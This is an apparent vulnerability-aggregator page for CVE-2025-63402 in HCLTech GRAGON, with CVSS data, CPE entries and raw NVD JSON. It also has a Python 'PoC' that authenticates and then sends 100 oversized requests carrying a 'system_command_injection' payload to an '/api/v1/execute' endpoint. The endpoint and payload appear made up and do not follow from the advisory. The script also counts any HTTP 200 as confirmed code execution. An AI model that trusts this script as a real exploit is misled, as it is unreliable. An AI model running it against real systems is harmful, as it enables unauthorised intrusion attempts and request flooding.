Security Vulnerability Report
中文
CVE-2025-63402 CVSS 5.5 MEDIUM

CVE-2025-63402

Published: 2025-12-03 19:15:57
Last Modified: 2025-12-18 20:29:54

Description

An issue in HCL Technologies Limited HCLTech GRAGON before v.7.6.0 allows a remote attacker to execute arbitrary code via APIs do not enforcing limits on the number or size of requests

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:hcltech:dragon:*:*:*:*:*:*:*:* - VULNERABLE
HCLTech GRAGON < 7.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-63402 PoC - HCLTech GRAGON API滥用导致RCE # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import requests import json import time import sys TARGET_URL = "https://target-gragon-instance.com" API_ENDPOINT = "/api/v1/execute" LOGIN_ENDPOINT = "/api/v1/auth/login" def login(username, password): """Authenticate with high-privilege account""" session = requests.Session() login_data = { "username": username, "password": password } response = session.post(f"{TARGET_URL}{LOGIN_ENDPOINT}", json=login_data) if response.status_code == 200: return session, response.json().get('token') return None, None def exploit_api_abuse(session, token): """Exploit CVE-2025-63402: API without request limits""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Malicious payload to execute arbitrary code payload = { "command": "system_command_injection", "args": ["whoami"], "large_data": "A" * 1000000 # Unrestricted size } # Send multiple requests (lack of rate limiting) for i in range(100): try: response = session.post( f"{TARGET_URL}{API_ENDPOINT}", headers=headers, json=payload, timeout=30 ) print(f"Request {i+1}: Status {response.status_code}") if response.status_code == 200: print(f"Potential RCE confirmed: {response.text[:200]}") return True except Exception as e: print(f"Request {i+1} failed: {e}") time.sleep(0.1) return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-63402.py <username> <password>") sys.exit(1) print("[*] Starting CVE-2025-63402 exploitation...") username, password = sys.argv[1], sys.argv[2] session, token = login(username, password) if token: print(f"[+] Authentication successful") if exploit_api_abuse(session, token): print("[+] Vulnerability confirmed!") else: print("[-] Exploitation failed or target not vulnerable") else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63402", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:57.273", "lastModified": "2025-12-18T20:29:54.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in HCL Technologies Limited HCLTech GRAGON before v.7.6.0 allows a remote attacker to execute arbitrary code via APIs do not enforcing limits on the number or size of requests"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:H/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.7, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:dragon:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.6.0", "matchCriteriaId": "0A4558B9-7770-4304-ADEC-AF823A7CF779"}]}]}], "references": [{"url": "http://hcl.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://hcltech.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://excalibur-hcl.my.salesforce.com/sfc/p/#U0000000YO14/a/Pf000003dyVd/ckzaFpdm68dwd1nWqgtLfXHp3Pim_YwLUI4WcRB__Ng", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}